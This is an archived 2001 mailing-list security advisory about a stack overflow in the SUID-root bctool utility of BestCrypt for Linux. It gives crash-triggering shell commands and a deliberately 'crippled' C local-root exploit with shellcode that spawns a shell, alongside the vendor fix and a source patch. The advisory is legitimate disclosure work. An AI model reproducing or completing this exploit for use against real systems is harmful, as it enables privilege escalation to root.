Buffer overflow in BestCrypt for Linux

From: Carl Livitt (carlat_private)
Date: Thu Aug 09 2001 - 20:58:11 PDT

  • Next message: Heikki Korpela: "Re: New command execution vulnerability in myPhpAdmin"

    Product:		BestCrypt for Linux
    
    Vendor:		Jetico (http://www.jetico.com)
    
    Problem:	Stack overflow
    
    Affected
    versions:	0.6-x  ->  0.8-1 (and possibly older versions)
    
    Fixed
    version:		0.8-2 is available from the Jetico website.
    
    Advisory
    author:		Carl Livitt (carlat_private)
    
    
    --[ Brief description of the problem ]--
    
    BestCrypt is a software utility to maintain and use encrypted filesystems. It
    runs on Win9x/ME/NT/2K and Linux. Encrypted filesystems are stored in containers
    (.JBC files) and, under Linux, are mounted as loopback filesystems.
    
    When mounting an encrypted container onto a point in the filesystem tree, the
    size of buffers that hold the names of the mount-point and other paths are
    checked to make sure that overflow situations do not occur. However, when
    unmounting an encrypted filesystem, the same checks are not made and it is
    possible to overflow the buffer containing the name of the mount-point and
    execute arbitrary code as root.
    
    
    --[ More details ]--
    
    The problem lies in the 'bctool' binary that is installed SUID root by default.
    Specifically, in the file 'src/bcmount.c' is a function called 'bcumount()' that
    declares a buffer called 'rp' that is stored on the stack which has a size of
    255 bytes. The 'rp' buffer holds the name of the mount-point in the filesystem
    and is populated by a call to 'realpath(argv[1], rp)', which expands a
    user-specified path into an absolute pathname and stores the result in 'rp'.
    
    It is therefore possible to create a path in the filesystem that is greater in
    length than 255 bytes and cause a stack overflow condition when performing an
    unmount. If that path contains valid shellcode and RET addresses, it is possible
    to get a root shell.
    
    To demonstrate the stack overflow, you can try the following:
    
    foo:~ > mkdir /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
    foo:~ > bctool mount test.jbc /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
    Enter password:
    foo:~ > bctool umount /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
    Segmentation fault
    foo:~ >
    
    At the point of the crash, EIP contains the value 0x61616161. This is
    exploitable and has been tested in lab conditions. Here is a slightly crippled
    version of my exploit that _will_ need to be modified in order to work:
    
    /*
     * Crippled version of the BestCrypt for Linux r00t exploit.
     * Note: this will not work out-of-the-box. You'll need to adjust it.
     * Script kiddies: don't even think about it.
     *
     * By Carl Livitt (carlat_private)
     *
     * Usage example:
    
            foo:~ > id
            uid=500(carl) gid=100(users) groups=100(users)
            foo:~ > gcc -o bcexp bcexp.c
            foo:~ > ./bcexp
            foo:~ > bctool mount /path/to/container.jbc "$EGG"
            Enter password:
            foo:~ > bctool umount "$EGG"
            sh-2.04# id
            uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
            sh-2.04#
    
     * RET value will need tinkered with, also you'll find that you need to examine
     * the call history quite closely to make this work ;-)  Have a look, you'll see
     * what I mean!
     *
     * You'll also notice there's a fair bit of redundant/messy/debug code in here...
     * This is intended to be an exploit, not an example of good coding.
     *
     */
    #include <stdio.h>
    
    // Chopped up Aleph1 linux shellcode to work in a directory path.
    char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
                     "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                     "\x80\xe8\xde\xff\xff\xff";
    
    char shellpath[] = "/bin";
    char shellprog[] = "/sh";
    
    // not used any longer
    unsigned long sp() { __asm__("movl %esp, %eax"); }
    
    main(int argc, char **argv) {
            char *p,*p2, path[4096], shell[4096], command[4096], old[4096];
            int i,len, offs;
            unsigned long addr=0xbffff410;
    
            if(argc>1) {
                    offs=atoi(argv[1]);
            } else {
                    offs=0;
            }
            chdir("/tmp");
            addr+=offs;
            printf("Using addr = 0x%08x\n", addr);
    
            // build a series of NOPs + shellcode and  make directory
            p=path;
            for(i=0;i<162-strlen(shellcode);i++)
                    *(p++)=(char)0x90;
            p2=shellcode;
            for(i=0;i<strlen(shellcode);i++)
                    *(p++)=*(p2++);
            *p=0;
            strcpy(old, path);
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // add the path to the shell to the shellcode-cum-path
            for(i=0;i<strlen(shellpath);i++)
                    *(p++)=shellpath[i];
            *p=0;
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // add the name of the shell to the shellcode-cum-path
            for(i=0;i<strlen(shellprog);i++)
                    *(p++)=shellprog[i];
            *p=0;
            printf("strlen(path)=%d\n", strlen(path));
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // pad out the buffer with our RET address
            for(i=0;i<172;i++)
            {
                    *(p++)=(char)(addr>>16)&0xff;
                    *(p++)=(char)(addr>>24)&0xff;
                    *(p++)=(char)addr&0xff;
                    *(p++)=(char)(addr>>8)&0xff;
            }
            addr=(unsigned long)*(p-4);
            printf("ADDRESS: 0x%x\n", addr);
            *p=0;
            printf("strlen(path)=%d\n", strlen(path));
            sprintf(command,"mkdir \"%s\"", path);
            system(command);
    
            // set environment variable and spawn a fresh shell
            setenv("EGG",path,1);
            system("/bin/bash");
    }
    
    
    --[ Solution ]--
    
    Jetico were informed of the flaw and released a new, patched version of
    BestCrypt within 48 hours. Users are advised to upgrade to the new version
    available from these URLs:
    
    Tarball:	http://www.jetico.com/linux/BestCrypt-0.8-2.tar.gz
    Source RPM:	http://www.jetico.com/linux/BestCrypt-0.8-2.src.rpm
    
    Alternatively, you can edit the "src/bcmount.c" file and replace the following
    line in the "bcumount()" function:
    
    	char rp[MAXNAMLEN];
    
    with this one:
    
    	char rp[NAME_MAX+PATH_MAX];
    
    
    --[ Contact information ]--
    
    Work: carlat_private
    Home: carllivittat_private
    
    PGP key:
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    Version: GnuPG v1.0.6 (GNU/Linux)
    Comment: For info see http://www.gnupg.org
    
    mQGiBDsWnaoRBACIgAnI31p+XmBnfFuACk3pZWRmMp1Rrhf3vvGVhztr8TGi2K2H
    LR3u4cO/7seOogWjk5NMi55eoBMXAl6ENH+x/A3dZ2VhbXHoBmNkxgIoBxoWVSPl
    lJ7kLWMlat6ZiuzOzt3FHClKBOVn1FpBinEHRRpZytTcn6wvL2q8FSTHKwCgzqhT
    Len3XCB4cXrAZ4mi8+qxY9cD/iJnkVWPc3NvKazfc2qHraOCdAZdGO5orExn3kh6
    P+g5ZabTSd1IlTgnVLZ0LPKquPuoFzP8shy0w1KfyX8lgtpt9Hc7MFxKfUAWE7xN
    SBW0A9x8VVg+JjPXuIbRkI5xU7yrt8dHQ77d2WBXIgbhOLCDix2kqKvrCk4BqtGD
    85MKA/0XiRtbv4yfH0YlVVrAk8KXJtvda33czSj1kz5QSh2XG6lhd8zHm2itW+1/
    +izSgBpj6zasIet00lGZqEocccGh2lBa6hcQ9/6ksRZ1qeGnLRdwGThpi/QqLa6Q
    l8lMppkN4PN6l2GmAv6aoJoRTak8S3CxcIyiMb/BYB8tWBmk2LQcQ2FybCBMaXZp
    dHQgPGNhcmxAaXRpdGMuY29tPohdBBMRAgAdBQI7Fp2qBQkB4TOABQsHCgMEAxUD
    AgMWAgECF4AACgkQ4p8FY3SUpjUusQCfdkTMM9xNRya+SdFx8jcgrp7aYl0An2uj
    0OHf/xq6BnlCFhD+xCldGrgkiEYEEBECAAYFAjsWnesACgkQF8DUAEUCPcNMDACg
    0I+xPNWWs4bwzdWL6ywnFShAicEAmgMgTekDSa1rjjoNUpiXYXJ9VuFEuQENBDsW
    nbIQBADV4MZJtG+jizT6MA8RGPmh05/CX5aFmQtOHPxBCJKjyztU3fiIkZqbf+9v
    /Lt5YCP8qpd8TjIzX1qdQ1UgvdKoPMfCnY3Mub/ospIAUAO0gRlmMq2Y9XmNsbMA
    MOrWbF0stuZBE/6ep+R6CL07GPyVbdFtmBz7S5SPrucAkFOaMwADBQQA0xZzTOZl
    T9Y3bSqcuY0406M0k5QOuGDfRXmoRdzgBnFJcFKOyyqZ5ORLDVf+1WY27XoTG2Ul
    O0D9UyQ/X5A5KfBtuBS5VLOPGpl8k5/OqQp/O7y20hruQCBWlAtdnWZ4z5hP7kLC
    pAVE/Braklq8BycshxobuCgMBxjFzp24tnOITAQYEQIADAUCOxadsgUJAeEzgAAK
    CRDinwVjdJSmNYzhAJ46hQ+sxqePO39M8/B11m1eQ6QZlwCcC7c+i/uBu6qa/co5
    Yev+O4o5ic8=
    =pPUY
    -----END PGP PUBLIC KEY BLOCK-----
    
    
    _________________________________________________________
    Do You Yahoo!?
    Get your free @yahoo.com address at http://mail.yahoo.com
    



    This archive was generated by hypermail 2b30 : Thu Jun 14 2001 - 08:53:18 PDT